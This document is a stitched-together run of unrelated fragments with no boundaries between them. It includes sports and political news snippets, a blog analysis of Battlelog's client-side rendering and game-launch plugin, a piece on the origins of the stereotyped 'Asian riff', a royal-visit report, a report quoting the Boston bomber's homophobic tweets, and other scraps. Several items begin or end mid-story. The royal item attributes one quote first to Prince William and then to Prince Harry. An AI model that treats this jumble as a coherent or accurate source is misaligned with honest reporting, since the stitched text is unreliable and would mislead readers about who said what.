Jones doesn’t expect to get promoted anytime soon this season, but he also knows that that could change with an injury. The Warriors recalled two-way guard Cook from Santa Cruz after star guard Stephen Curry recently suffered an ankle injury that could keep him out two or more weeks. Meanwhile, Jones plans to work to improve daily while enjoying life off the court in Santa Cruz, knowing that any day his number could be called.
That path took her from being assailed by her office bosses and colleagues in Boadilla del Monte, on the outskirts of Madrid, to depression and sick leave, unemployment, and even death threats.
She now sells handmade bracelets to make a living, and relies on crowdfunding to help cover her legal expenses, which have reached 20,000 euros, or about $22,600. She has sold most of her clothes and furniture and rents out her home to pay the mortgage. Instead, she lives as a squatter in an abandoned apartment with paint peeling from the walls.
Matthew Courtliff, who was elected to represent the Lydiard and Freshbrook ward just five months ago, made the shock decision on Tuesday evening following a meeting with council leader David Renard.
After completing the paperwork to officially join the Conservative group, Coun Courtliff released a statement citing concerns with the direction of Labour under Jeremy Corbyn’s leadership as the motive behind his decision.
He said he looked forward to Theresa May’s leadership and offered his support for the Conservative group’s vision for Swindon.
The young councillor’s decision to cross the council chamber was seen as a major coup for the Conservative administration.
Labour councillors reacted with surprise and disappointment at the news, with their leader, Coun Jim Grant, saying the decision represented “the worst about politics.”
But before the dust had even settled on the defection, Coun Courtliff had a change of heart and performed a dramatic u-turn.
On Wednesday morning he declared that he had made “a terrible mistake” and described the day’s events as “the most stupid 24 hours of my life.”
Following a meeting between Coun Grant and Coun Courtliff, the Swindon Labour Group confirmed that he would remain a Labour councillor representing the residents of Lydiard and Freshbrook.
Coun Courtliff said: “It has been an incredibly difficult two days; and having spent some time meeting with Conservative councillors and MPs yesterday, I have come to the conclusion that I made a mistake in thinking that joining the Conservative Party was right; for me or my constituents.
“My home is in the Labour Party and I owe a huge apology to my council colleagues, fellow party members and my constituents who have watched this unfold.
“My priority now is to re-join my colleagues, work hard for my constituents in Lydiard and Freshbrook and to put this all behind me.”
Labour leader, Jim Grant, offered his backing to the young councillor.
He said: “Clearly on reflection Matthew has decided to do the right thing by his electorate who elected him as a Labour councillor only five months ago and has done the honourable thing and remained as a Labour councillor.
“We are proud that he has thought twice about this and made the right choice.
"The priority now is for Matthew to focus on his ward, and for the Labour group to hold the Tories to account on raising council tax through the back door by introducing parishing, closing Swindon’s libraries and introducing cuts to bus services.
“I know Matthew is as eager as I am to refocus on the issues that really matter in Swindon.”
The leader of the council and the Conservative group, David Renard, has suggested that this may not be the end of the unusual sequence of events.
Leaving options open for the future, Coun Renard said: “I understand that Coun Courtliff has come under considerable pressure since signing his application to join the Conservative group.
“As a result of this intense and perhaps unduly forceful lobbying, he is taking time to consider his position, which I respect.
It's the shooter season of the year and this fall was all about Modern Warfare 3 versus Battlefield 3. And being the kind of game they are they also try to keep their audience playing by introducing some additional level of engagement. Both Call of Duty and Battlefield introduced their own online community websites and statistic platforms. Call of Duty has Elite, Battlefield has Battlelog.
But just because these services are sitting in the same spot it does not mean they are in any way similar. And that actually goes for more than just their monetization plans and feature sets. Elite is a traditional application as traditional as it can be. You sign up, there is Flash, there is a bit of JavaScript, there are tons of requests for each page and a playercard transmits about 3 MB of data to your client. Not very interesting to say the least.
But what are they doing? Notwithstanding some of their respective extra features both Battlelog and Elite are essentially a social network for shooter games that expose the statistics of your individual gameplay as well as the one of your friends to you. Everything you do in the game is reflected on these websites and you can further interact with the game there by commenting on gameplay and chatting up with friends.
Elite by itself is not very interesting technology wise, however Battlelog certainly is. It shows that an application that is probably used by millions of gamers can be built on modern web technology as well. And under the hood is one of the most interesting ways to built a modern web application that I think you should check out.
Embrace the Client A few months back I was claiming that WSGI is not the place for pluggable applications and that it would make sense to assemble applications on the client-side. Turns out, Battlelog is doing just that. While I do not know what all of their infrastructure looks like, their network graph and license information on the page is revealing. Battlelog is written by a company called ESN and their infrastructure from the released code is basically Python 2.x with gevent as well as JavaScript with jQuery and their own stuff on the client and Java for their websocket backend. If you send an HTTP request to the website it appears to work as if it was a regular website. You get a bunch of HTML rendered and nothing interesting happens. However if you click on any link you do not get HTML transmitted. Instead what is transmitted is JSON, the HTML5 history API is used to modify the URL dynamically and all the HTML is rendered on the client. Since it appears to be able to do both we can compare the sizes of the data transmitted easily. The HTML for the index page is 18KB in size. If we trigger the request to the same URL with just the JSON it's 4KB. Not only is it less to transmit, it also means that the server is essentially just generating JSON instead of rendering whole templates which also means a performance improvement for the client. The platform is a work of beauty in general and I am amazed how little I have heard on the interwebs about it. So to give you an idea why it's an incredible technical achievement on so many levels, here the breakdown.
Feature Overview To understand what Battlelog is here a brief overview of what it does. These are not necessarily the features that are immediately obvious to the user but are very obvious for the interested developer that wants to peak under the hood: the website insta-updates based on information coming from the push connection. If you have the website open in the background you can hear a notification sound being played just the second your game ends. That notification sound is for the report generated from the round you played.
The same websocket connection for the website is also used for the chat feature on the site as well as game invites and more.
All the pages can be rendered on both the client side via JavaScript as well as the server. How this work I cannot tell you but I find it interesting considering the server side is Python. So their templates compile to Python and JavaScript as it seems.
Battlelog comes with an optional browser plugin that makes it possible to join into a game on the PC version of Battlefield right from within the browser. This plugin can interact with the game and exposes some other functionality that is lacking in HTML5 (such as issuing pings).
How the Client Operates In order to understand why Battlelog is interesting engineering we have to reconstruct what it appears to be doing. Again, I am not claiming knowledge of their server technology, I basically just observed what I saw and concluded a few things from it. When you access a page you get some nicely rendered HTML back. One of the things that is also transmitted to you is a large JavaScript document that contains their client side framework as well as the rendering instructions for all pages compiled to JavaScript code. The framework then hooks into your browser's navigation code an intercepts all page loads. Instead of letting the browser replace the page with something new on load it instead does the HTTP request via Ajax and adds an additional header to the HTTP request: X-Ajax-Navigation . If the server side sees that header it will instead of rendering to HTML deliver the data that is normally passed to the template as JSON. The data you get back is everything the page needs to render, including the name of the template. When that data arrives on the client the browser replaces the current page content with the data that was rendered on the client side from the received JSON. Not only that, it also makes sure to use the HTML5 history API to change the browser URL. The user does not notice that anything interesting is going on unless he's tech savvy enough to open the firebug network panel and watch the system operate. In fact the whole thing is so incredible smooth that you would not notice anything interesting besides the fact that the page loads fast. I mean seriously fast. Clicking on a link in Battlelog is such a snappy operation it's haunting for the trained web developer eye. Very few systems respond this quickly. This is especially noticeable on pages that do not involve a lot of different data such as the news section of the website or the forums. If you look at the website it also has a bar on the bottom of the screen that shows notifications, your friendlist, open chat windows and a few other things. This bar can have state. You can toggle windows open and closed, you can scroll in the chat window, enter new next and the bar will stay open and unchanged if you navigate to a different page. True, this is nothing special these days, facebook does it too. However from the design that Battlelog follows this comes natural. When the page contents are hooked in the DOM element for that bar on the bottom is preserved and not touched. The other aspect of Battlelog is the real time component with web sockets. I have not looked too far into that but it appears that it's based on an abstraction layer on top of web sockets, Flash or whatever is supported that was written by ESN for other projects in mind as well. The server code sends an information to the push hub which handles the socket connection for the clients. This way various systems can inform the client about updates, that does not even have to be Battlelog itself.
Why the Client? While it's not necessarily the case with Battlelog, there are a bunch of really good reasons why you want to render stuff on the client side: You can do partial updates. And you want partial updates since they are good for the user experience. You can mix content together from different resources which is good for caching. If there is information on the page that rarely changes and is the same for each user you can load it from a well cached page and keep it in the client's DOM and never replace it. Generating HTML on the server side is more expensive than on the client. You don't pay for the client side and even the fastest template engine on the server is beaten by an optimized JSON serializer. Faster apps mean more satisfied customers. Even if you do not have a JavaScript heavy application, moving computations to the client side is a good thing. This obviously assumes that it does not break the navigation like some websites do. Battlelog does not do that. The principles on which Battlelog is built would also very well work in a more traditional application. However it requires a well structured architecture were the data you're sending to the template engine is simple (and secure!) enough that you can put it in JSON and that the templates themselves are simple enough that compiling them to JavaScript is an option. Jinja2 for instance could in theory execute on the client but practically not. Practically it's exposing a little bit too much of Python to make sense to compile to JavaScript. But a template language much like Jinja2 could be written that would make this possible. In fact I think you could build a microframework that would very well support this paradigm and still be agnostic to the JavaScript code you're running on the client for the most part.
The Native Code Thing The real interesting thing about Battlelog however is a Windows PC specific component. If you are heading to Battlelog from a Windows PC and you own the PC version of Battlefield 3 you can launch into a game right from within the browser. How does this work? It works with the help of a browser plugin that exposes additional functionality to the in browser client. Namely it has a function to start the game and pass it information as well as a general purpose function to ping an IP address which is used for the server browser. In fact if you are playing on PC this is how the game is launched, always. There is no in game menu, you join from within your browser. This is mind blowing thing. First of all it makes it easier for DICE to update the server infrastructure since it's now mostly separated from the client and also makes for much quicker iterations. The communication for the most part works in one-way but in a cycle as it seems. If you log into Battlelog and head to the server browser you get a list of servers. How does that work? Here's how: When you send an HTTP request to Battlelog it determines your approximate location based on the request IP. This way it can pre-filter servers for you that are probably near you. Each server connects to a ping site on connect. There are a couple different ping sites for different countries. The USA have three I think, Europe has one, Japan has one, Australia etc. Each ping site then notifies Battlelog about the distance of that server to the ping site. Based on that information as well as your filter settings, Battlelog now sends you a list of servers. Once that data is retrieved by the client it starts connecting to the browser plugin and asks it to ping all the server IPs it received. If you now want to join that server it sends an HTTP request to the Battlelog server side to reserve a slot on that server. In response it gets a token that identifies that slot. When the server managed to reserve a slot for that player the client uses the serverlog plugin to boot up the game. It passes that token to the game alongside a secret and lets the game boot in the background. While the game is booting up it uses the received authentication information to use the slot that was reserved. When it loaded up properly it notifies the Battlelog client with the help of the plugin about changes in the executable. The plugin also exposes some more functionality of the client to the website which makes it possible for the JavaScript part of Battlelog to close the game away and initiate some other game modes such as coop hosting.
Thinking: Does it need the Plugin? Now here was me thinking. Would the plugin be necessary to accomplish all of the above things or could it be done in a different way? Native applications are here to stay, that's a given. However more and more stuff of what a native application does can be moved into a browser for great success. So how does a web application speak to a native application? The traditional way is by letting the application register a custom URL scheme and then letting the user click on that link which then launches the application. That's unfortunately a one way communication only. But that might be everything that is needed. So here is how it could be done. Battlefield or any other application that wants to do the same but without the browser plugin could instead register a URL handler with a unique name. Let's say battlefield3:// . The operating system then knows about this URL scheme and can start a handling application. What can we do with this? The server component would have to uniquely identify a user for starters. Considering that each user has to log in that's fine anyways. Then next to that user information one would have to remember if the game is running and how. What does that mean? Let's start with the simple case: the game is not running. The Battlelog server looks at the current user and sees he or she does not have the game running. Consequently it will generate a unique token and generate a URL to the URL scheme (for instance battlefield3://start?token=... . It then generates a JavaScript prompt that informs the user that he has to launch the game by clicking on the link generated. This is the only chance in flow that is necessary. By clicking that link the user agrees that he wants to start that application. But instead of launching the game it starts a daemon. That daemon takes the token and picks a random TCP port on the system and starts an HTTP server there. Once that server is running it notifies the central server that it's running and on what port. Since the web browser has a push notification channel open it will get a notification now that the daemon is running and on which port. After that it can use HTTP and JSONP to communicate with the daemon. But how does the daemon know when to shut down? Basically that daemon will needs to be informed when to shut down. I would assume that 15 minutes without a ping from the browser would be a good indication that it should destruct itself. When shutting down it also tells Battlelog that it's no longer running to clear out the port entry. Additionally to make this better it should not only record the port but also an identifier that uniquely identifies the machine the daemon is running on so that the user can alternate between different computers without ending up with weird behavior where the central server is informing the browser that the game is running when in fact it's running on a different machine. Since Battlefield 3 supports only one running game per user account it does not make sense to support more than one session. If that would be wanted it could obviously be done. The downside here obviously is that it needs a websocket connection and a central server that acts as mediator between the different systems (daemon, client side app). In Battlefield 3's case that would not be a concern (and already is not) since it's an online game. The second problem here is that it needs one additional user interaction: the user has to click on the link to activate it. This currently is not necessary in Battlelog since it's provided by a plugin.
U.S. President Donald Trump and his daughter Ivanka hold a video conference call with Commander Peggy Whitson and Flight Engineer Jack Fischer of NASA on the International Space Station from the Oval Office of the White House in Washington, U.S., April 24, 2017. REUTERS/Kevin Lamarque
Trump has directed aides to move quickly on a plan to cut the corporate income tax rate to 15 percent from 35 percent, a Trump administration official said on Monday.
With his 100th day nearing on April 29, Trump has been ordering studies and signing executive orders. But he has yet to introduce a major bill to the Republican-controlled Congress on any topic or win passage of someone else’s that he supports.
He has promised a “big tax reform and tax reduction” announcement on Wednesday. Some analysts said this may consist of a proposal to cut the corporate rate to 15 percent, cap the individual tax rate at 33 percent, repeal the estate and alternative minimum taxes and cut taxes for the middle class.
In earlier days, Trump vowed to oversee the biggest “tax reform” since President Ronald Reagan’s in 1986, a legislative feat that has since defied every president.
Wall Street analysts say Trump may instead offer a package of rate reductions, like those backed by Reagan in 1981 and President George W. Bush in 2001, which left the tax system intact.
If that is the case, it “is not tax reform. It is a tax cut,” Chris Krueger, analyst at financial firm Cowen & Co, said in a research note.
On Wednesday, Krueger said, “We will get some vague benchmarks about rate levels... with likely no detail on how to finance those reductions except for the assurance that the growth projections will take care of it.”
The announcement could also show whether Trump is turning away from a Republican plan backed by House of Representatives Speaker Paul Ryan that would pay for tax cuts with an import tax and by killing a business interest deduction.
Ryan and other Republicans will get a preview of Trump’s plan on Tuesday at a Capitol Hill meeting with Treasury Secretary Steven Mnuchin and Gary Cohn, director of Trump’s National Economic Council, aides said.
Trump’s announcement, however, could be a disappointment for investors seeking clarity.
In yet another attempt from a Labour politician to address the North-South divide, he will set out how £50bn raised from long-dated Government gilts should be invested in trans Pennine transport and developing business in the region’s cities and towns.
His proposals come as the new Minister for the Northern Powerhouse Andrew Percy embarks on his first official visit to Hull to welcome the launch of six growth deals in the Humber region totalling more than £10m in investment.
Mr Smith’s speech will take place in Orgreave, South Yorkshire, at a manufacturing park he says perfectly encapsulates ex-industrial regeneration. Among his pledges will be to re-write the Labour Party constitution to incorporate the tackling of regional inequality. “We need to put our money where our mouth is.
“There is a need for a Minister for Labour. We need to be much more robust in saying we can’t have any part of Britain left behind. Not everyone shares in the prosperity and growth seen in the south,” said Mr Smith, whose grandfather came from Keighley.
His proposal for a Minister for Labour, with a ministry based in a Northern city such as Leeds or Sheffield, would look at delivering fair employment with tax incentives for businesses to relocate to the regions.
He described Labour leader Jeremy Corbyn’s past musings that re-opening deep coal mines where possible could reinvigorate the economy as a “silly idea” and indicative of the growing gap between his rhetoric and reality.
While elements of today’s speech cover territory often discussed by Jeremy Corbyn, particular matters of equality, protecting workers rights and fairer taxes, Mr Smith said he would actually be able to put plans into action as the current leader “just hasn’t done it”.
He said: “We have got to win. Plans are all for nothing if you can’t turn them into power.”
Labour members are due to be sent their ballot papers to chose between Mr Corbyn and Mr Smith in August.
Winning over Northern Labour supporters and keeping their votes from the clutches of UKIP will be essential for future General Election success and Mr Smith, a Welsh MP from Pontypridd, whose family were miners, believes he connects better with the region than London-based Mr Corbyn.
However those backing Mr Corbyn say Labour already has an agreed strategy for the North and are unlikely to welcome Mr Owen’s pitch in South Yorkshire today.
Since this is a story about a musical phrase, it's one that's best heard. Give it a listen.
There's a tune that you've probably heard throughout your life. It's nine notes long, and it's almost always used to signal that something vaguely Asian is happening or is about to happen.
You know what I'm talking about. The tune's most prominent role is probably in that 1974 song "Kung Fu Fighting." It comes in right as Carl Douglas is singing that anthemic "Oh-hoh-hoh-hoah."
(Just for funsies, here are some of the song's lyrics: "There was funky China men from funky Chinatown / They were chopping them up / They were chopping them down / It's an ancient Chinese art / And everybody knew their part.")
YouTube
It was in The Vapors' "Turning Japanese." It was in every cat lover's childhood favorite, The Aristocats. (Yes, before you even ask, it was in the outlandishly racist Siamese cat scene.) It even made an appearance in Super Mario Land.
The tune is ubiquitous. And like many things that are just in the air, few ever ask where it came from. But we did.
The Quest
We're not the first to ask the question. Back in February 2005, on the Straight Dope message board, a person with a username "Doctorduck" asked:
"Where does that stereotypical 'oriental' song come from? You know, the one that goes dee dee dee dee duh duh dee dee duh. Featured heavily in braindead Hollywood flicks made by clueless directors who want to give a scene an 'oriental' feel. Also a variation of it can be heard in David Bowie's 'China Girl.' "
Enlarge this image toggle caption Michael Putland/Getty Images Michael Putland/Getty Images
It was a question that confounded many. Trying to pin down this nameless tune and its place in history turned out to be difficult.
Across dozens of comments, people agreed 1) that the canonical example of the melody was in "Kung Fu Fighting," 2) the melody also appeared in many other places, and 3) it probably pre-dated Douglas' song. But for weeks, no one could name an incontrovertible pre-1974 example of the tune.
They even called in the experts. One user reached out to Charles Hiroshi Garrett, a professor at the University of Michigan. In 2004, Garrett had written an academic paper referring to the riff, which a user in the Straight Dope forum quoted:
"[The opening phrase from the song 'Chinatown, My Chinatown'] resembles an extremely well known trope of musical orientalism—one of the most efficient that the West has developed to signal "Asia" ... Such orientalist shorthand remains recognizable to twenty-first-century listeners, since these tropes continue to inhabit today's popular music. Thus, as clearly as the song's title captures its subject, the opening moments of 'Chinatown, My Chinatown' inform listeners that the song aims to fashion Asian difference."
Garrett responded:
toggle caption Straight Dope
But then, the trail turned cold. Radio silence for a year. Then, suddenly, in June 2006, a user named "mani" announced that he'd built a whole website devoted to the question:
"I got fascinated with this question, and for the past month I've done some research, mostly utilising various online archives of old sheet music and recordings whose copyright claims have expired. My findings soon became far to voluminous to fit in a single post, so I created a website dedicated to the 'Asian riff': chinoiserie.atspace.com."
The user was Martin Nilsson, a Web designer in Sweden. He'd been studying piano at a conservatory and had a lot of free time to devote to this "hobby research," as he told me over the phone. (It's "hobby research" that lots of different folks have cited, including music professors I chatted with, and bloggers at You Offend Me You Offend My Family.)
Nilsson found that the melody's roots went back way further than "Kung Fu Fighting" — at least as far as the 19th century.
Defining The Cliche
One of the things Nilsson was trying to discover was whether the melody was ever a reference to a real Asian tune — or if it was purely a Western invention.
"It doesn't come from Chinese folk music, really," Nilsson says. "It's just a caricature of how [Westerners] think Chinese music would sound."
toggle caption Martin Nilsson
While digging through American sheet music archives, Nilsson reached a point where the line between references to the riff and very similar ones got blurry. So he dubbed the similar riffs the "Far East Proto Cliche," based on specific musical characteristics. The definition: "Any melody with this particular rhythmical pattern and whose first four tones are identical" that usually uses a pentatonic scale, Nilsson wrote on his website. (Some melodies that fit this pattern make no reference to Asia whatsoever — you might recognize it in Peter, Bjorn and John's song "Young Folks.")
This nine-note tune and its cousins rely heavily on the pentatonic scale, which music from many East Asian and West African countries used.
"We get the sense of another culture when we hear the scale," says Nilanjana Bhattacharjya, an ethnomusicologist at Arizona State University. "It's worth thinking about the fact that the scale isn't necessarily something we would've been listening to in the United States in a significant way before the end of the 19th century, early 20th."
The pentatonic scale gained global popularity in 1889, during the Paris World's Fair. The French exhibition — along with other world exhibitions that were popular in that time — was where folks exchanged ideas and learned about other cultures. It was home to a range of exhibits, like the human zoo (also known as the Negro Village) and a Javanese gamelan showcase. The latter inspired composers like Claude Debussy, whose work often used the pentatonic scale.
But the "Far East Proto Cliche," Nilsson found, went back even further than that World's Fair.
The Backdrop Of The Riff
One of the first instances of the cliche Nilsson found was in a show in 1847 called The Grand Chinese Spectacle of Aladdin, or The Wonderful Lamp.
And to understand the evolution of this riff, we need to look at the backdrop against which this tune emerged.
In the 1800s, men from China were coming to the U.S. to work in gold mines and on railroads. By 1880, there were 300,000 Chinese in the States — and there was a lot of anti-Chinese sentiment. In 1882, the U.S. banned Chinese immigration with the Chinese Exclusion Act. It took until 1968 for such restrictions to be lifted.
Think about it: Most people back then had limited interactions with people from China and other Asian countries. So playwrights and writers had to come up with a shorthand way of saying, "This is Chinese; this is Asian."
This building of a viewpoint — a viewpoint that in many ways is still with us, that people of Asian descent are intrinsically foreign — is echoed time and time again in various cartoons from the early 1900s that feature the riff:
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Someone, somewhere decided that this short musical phrase — and others like it — could represent an entire region or identity. And it stuck.
OUR HOME IS... an old wooden house that I restored with my 73-year-old father.It’s traditional, but with a modern twist. In many ways it tells our history. The timber we used to refurbish it is from trees my father planted 60 years ago.
IN ANOTHER LIFE... I would probably be a nomad. Part of me wishes that our home was a boat and that I could sail the Atlantic like I did in my twenties. But this felt like the right place to settle.
LET IN THE LIGHT... It’s a kind of mantra for me. I’m a photographer – as well as a cook and restaurateur – so I’m obsessed with light.
The 49ers are 1-9, worse than the 3-7 clip Jim Tomsula opened with last season, leaving both Kelly and general manager Trent Baalke culpable for the team’s spiral.
And what Kelly said about his offense after Sunday’s loss to New England was on point. The 49ers aren’t built to come back from a big deficit, particularly without Torrey Smith, the team’s most accomplished receiver, who missed the first game of his career against the Patriots with a shoulder injury.
“When you get down like we did all of a sudden it turns into a throw every down game and we’re not built for that right now,” Kelly said.
The way the 49ers are built falls right in the lap of Baalke, who’s charged with constructing the roster.
Of course, Kelly isn’t going to (intentionally) throw his general manager under the bus, when asked about the perception of his post-game comments Monday.
“We’re not a team that’s going to throw the ball 60 times a game. That’s just not how we’re built,” Kelly said. “So, we’re built to run the ball, play-action pass off of the run game and that’s what I meant. However people perceive that is entirely up to them.”
Baalke has said, repeatedly, he wants his team to be built on a strong running game complimented by a stout defense. But teams that contend for titles can often win on the ground and through the air.
San Francisco has the NFL’s 30th-ranked passing attack and switched quarterbacks after five games. Generally, that’s not a recipe for success – and Kelly knows as much. His team is on a nine-game losing streak.
To no surprise, Kelly said he would love to come back from big deficits by chucking the ball over the field.
“Then that means you have everything,” Kelly said. “Yeah, I would love to be a team that could throw the ball 60 times a game and I would love to be a team that could run the ball 60 times a game. So, yes.”
Now the focus shifts to Baalke and how he reacts – publicly or otherwise – to Kelly letting the world know he has critiques of the way the roster is built.
Related Coaching market might not bode well for 49ers if they ditch Chip Kelly
Baalke can either accept the criticisms as his team’s reality, or he can he take them personally and consider Kelly’s declarations the start of a public blame game.
The perception of the 49ers in 2016 has always favored Kelly over Baalke. The first-year coach has been largely hands off when it comes to personnel decisions, while Baalke has taken hits for his recent drafts and free agency choices.
The common line of thinking says the foundation for losing was cemented by Baalke well before Kelly took the job last winter. Kelly hasn’t been Vince Lombardi by any means, but it’s not entirely his fault the starting receivers Sunday against the Patriots were Quinton Patton, Jeremy Kerley and Aaron Burbridge.
“We’re built to run the football. Carlos (Hyde) is the main focus of what we’re doing offensively,” Kelly said.
“We have a running quarterback that complements him and then our play-action pass complements that and when we’re running the ball successfully and play-action pass off of that, we’re very good as an offensive football team. But, to think we’re going to go into a game and throw the ball 60 times and win, then that’s not a game plan for success for us.”
Kelly isn’t wrong – nor does he seem ill intentioned. He’s stating the obvious about Baalke’s team.
That wasn’t the case Tuesday when temperatures dropped into the 50s, the wind kicked up and it rained hard enough to leave players and coaches soaked within minutes of their workout’s beginning.
But those conditions may be exactly what Miami needed to get a dose of considering that the weather forecast for Saturday’s Duck Commander Independence Bowl is currently calling for a 60 percent chance of rain and a high temperature of 63 degrees.
“We don’t know exactly what the forecast is yet, but if it is like that, I think that will help us,” Miami coach Al Golden said of his team’s chilly Tuesday afternoon workout. “We got a lot done. At the end of the day, it wasn’t all perfect, but we got a lot done and we got used to the conditions. We’ll watch the tape and go from there.”
Added Miami running back Duke Johnson, “Yesterday, we came out and it was kind of warm. So we thought it would kind of be like that throughout the week, until we woke up this morning, kind of looked outside and couldn’t find the sun anywhere. We kind of figured it would be cold, but not as cold as it was, but we made it alive…I think it’s good we got a jump on it if that’s the case come Saturday. We fought through it the best way we could today and if it’s like that throughout, each day we’ll get better and better at it to prepare for Saturday.”
*Miami offensive lineman Jon Feliciano has missed some practice time last week while dealing with an injury to his hand/wrist area and on Tuesday, he wore a large protective cast on his hand that yes, protected a nagging injury, but made it a little challenging to do some things—including adjust his uniform on the practice field. That required a little help from fellow lineman Nick Linder, who is also nursing a number of injuries.
After practice, Feliciano said he expects to play against South Carolina on Saturday—without the cast on his hand.
“I’m probably not going to play with it. I’m just wearing it for practices to get it more healed up,” said Feliciano, a senior. “I’ve played through pain a lot in my career, so, it’s not a big difference.”
Linder, meanwhile, continues improving and practiced on Tuesday wearing a yellow limited contact jersey, though Golden still wasn’t ready to say whether he’d be available against the Gamecocks.
“A little bit better today,” Golden said of the freshman. “It’s going to be down to the wire for him. But he was a little bit better today. Maybe he can do more tomorrow.”
*Johnson, who became Miami’s career rushing leader this season, has said more than once he will announce on Dec. 28th—his mother Cassandra Mitchell's birthday and the day after the Hurricanes’ bowl game—whether he’ll be declaring early for the NFL Draft or returning to Miami for his senior year.
Tuesday, he reiterated that date, but acknowledged that his decision has already been made.
And though that decision remains a mystery, Golden said one thing remains certain—he expects Johnson won’t be holding back when he takes the field for what could be his final game as a Hurricane.
“I think no matter what the opponent is or who we’re playing, I think Duke’s going to be a competitor and play to the best of his ability,” Golden said. “I can’t see him in his makeup holding back for anything.”
Johnson, for his part, he’s going to approach Saturday like any other game and he’s not afraid of getting hurt, despite what could be at stake.
“I kind of broke my ankle last year. I’m not really concerned about getting hurt anymore,” he said. “If I get hurt, I get hurt. That’s part of the game. That’s the way I play. I don’t really concern with myself with other things when I’m playing football because that’s how you get hurt. While you’re playing football, you’re playing football.”
*Earlier this week, Miami announced it had received a signed Letter of Intent from junior college offensive lineman Jahair Jones. The 6-foot-5, 315-pound lineman, a three-star prospect, is expected to enroll in January. He is the second JUCO signee for Miami, joining Jerome Washington who signed last week.
“We needed to get at least one offensive lineman at midyear, we were hoping for two,” Golden said. “I think he’s going to bring us some maturity, obviously, some size. He’s ready-made at 334-pounds or whatever he is. We’re excited about him…we’ll get him going and have him ready for the spring.”
This is a newly active period from an unknown source that astronomers labelled FRB 121102. It’s a source of fast radio bursts (FRBs). We still don’t know much about FRBs. They were only first detected in 2001, and the first time we saw one—this one, in fact—repeat was in 2015. FRBs are exactly what they sound like: super fast, really powerful burst of radio signals. But we have no idea what causes them.
"The repeating FRB source is an anomaly in the population right now; it's the only one of its kind," says Emily Petroff, a post-doctoral researcher at the Netherlands Institute for Radio Astronomy. Petroff was not involved in the current observations, but was part of the project that put together the definitive catalogue of Fast Radio Bursts last year.
"We're trying hard to find more (either by checking to see if other FRBs repeat, or trying to find more FRBs and monitor them)," Petroff wrote in an email. "Keep in mind that the population is still really small. Only 30 FRB sources have been found, from 29 of those we've only seen one burst, from one of them we've seen over 200!"
To have 15 bursts occur from the same source in a short period of time is exciting because it hasn’t been seen before, and these particular bursts are also coming in at a much higher frequency than normal, peaking at about seven gigahertz.
“Bursts from this source have never been seen at this high a frequency,” Andrew Siemion, astropysicist and director of the Breakthrough Listen program said in a statement.
A press release put out by the Breakthrough Listen organization, which funded and organized the project says; “Possible explanations for FRBs range from outbursts from rotating neutron stars with extremely strong magnetic fields, to more speculative ideas that they are directed energy sources used by extraterrestrial civilizations to power spacecraft.”
Wait...aliens? Really? Not so fast.
Bringing aliens into the conversation before eliminating every other possibility might seem surprising, but not if you consider the source of this new information. The Breakthrough Listen Initiative is a $100 million project with the express directive of looking for signals from extraterrestrial civilizations. So upon finding something strange and not immediately explainable, of course they’re going to bring up aliens. It’s their job to hold that up as a possibility until the evidence shows otherwise.
But there are plenty of other avenues of research that provide possible explanations for the repeating burst. Many of these are thrilling and exciting, and most of them are definitely not aliens.
Despite luxury gifts from all over the world being sent to the young heir, Prince William says it's his Apple tablet that the one-year-old enjoys most of all.
He made the revelation at a technology event at New York's Empire State Building.
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21st Century boy: Despite luxury gifts from all over the world being sent to the young heir, Prince Harry says it's his Apple tablet that the one-year-old enjoys most of all
Inquisitive mind: The Duchess of Cambridge holds Prince George as he and Prince William look on while visiting the Sensational Butterflies exhibition at the Natural History Museum in July
Ayah Bdeir, the chief executive of a firm that builds snap-together electronics for children, told The Times: 'He had so much fun.
'He told me that his son George has been playing iPad games and loves them and that this was a good way to teach him the inner workings of electronics.'
During their visit the Royals have visited the White House, watched basketball with Jay-Z and Beyonce, and rubbed shoulders with creme-de-la-creme of New York high society.
The Royal couple also paid a solemn visit to the 9/11 memorial a short distance away, laying a wreath of white flowers.
After touring the adjoining museum, Kate said she had been left 'in awe' at the scale of the tragedy, adding that she had not anticipated how emotional the visit would be.
After visiting the youth center in Lower Manhattan the Royal couple spent the evening at a black tie event to help raise money for St Andrews University where they met and fell in love
The dinner, which cost up to $10,000-a-head, was to help raise money to pay for scholarships and bursaries at the University to help underprivileged people earn a place
After a dinner and speeches in the Temple of Dendur at the Metropolitan Museum of Art in New York, the couple went straight to the airport where they flew back to the UK
On Tuesday evening the couple swapped Lower Manhattan for an elegant black tie event to help raise money for their Alma Mater: St Andrews University, where they met and fell in love.
The pair were the guests of honour at the lavish $10,000-a-head 600th anniversary event at New York's Metropolitan Museum of Art, the couple's final engagement of their three-day visit.
After a reception on the museum's Velez Blanco patio the couple were taken for dinner in the Temple of Dendur, a vast room decorated with statues of Egyptian gods that was built specifically to house an Egyptian temple built just before the birth of Christ.
The sandstone temple was given to the U.S. in its entirety in 1965.
After a speech given by comedian Seth Myers, drafted in last-minute after Tom Hanks pulled out for personal reasons, the Duke and Duchess were whisked straight to the airport for a flight home.
Earlier in the day, before the youth center in Lower Manhattan, the couple paid a solemn visit to the 9/11 memorial and museum a short distance away
Dzhokhar Tsarnaev, the teenage suspect in custody for the Boston marathon bombings, liked to post homophobic jokes on Twitter.
19 year-old Tsarnaev was captured Friday evening (19 April) after he and his older brother were identified as suspects in the bombing of the Boston Marathon that left 183 people injured and three people dead.
The suspect’s older brother, 26 year-old Tamerlan Tsarnaev, was shot dead by police after the two suspects led authorities on a violent chase.
The teenager, whose Twitter account has been confirmed as @j_tsar, was sending tweets just hours and up to a day after the bombings.
A review of Tsarnaev’s Twitter account shows posts about hip-hop music, homework, and anti-gay jokes.
One tweet read: ‘Oh, you’re gay? That must be a real pain in the ass.’
Another post: ‘If you were sleeping between a beautiful girl and a gay man, whose side would you turn your back to?’
He also posted: ‘In a Grammar class : Teacher:- “HE does not like girls.” What is ‘He’ in this sentence. . ?? . . . . . Student :- Gay. . . . !!’
The last post on Tsarnaev’s account comes one day after the bombings. The re-tweet from Muslim scholar Mufti Ismail Menk reads: ‘Attitude can take away your beauty no matter how good looking you are or it could enhance your beauty, making you adorable.’
Tsarnaev is currently in custody in serious condition from gunshot wounds
Gov. Jay Nixon said Saturday that he is vetoing a measure that would block immigrants who are illegally in the U.S. from receiving money under Missouri's A+ scholarship program.
He made the announcement during a speech to the National Council of La Raza, a Hispanic advocacy group that is having its annual convention in Kansas City.
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The measure would have required students be permanent residents or U.S. citizens in order to get the state's A+ Scholarship, which provides two years of free tuition at community colleges. Supporters said it was meant to limit the number of people receiving scholarships in order to preserve them for Missouri residents.
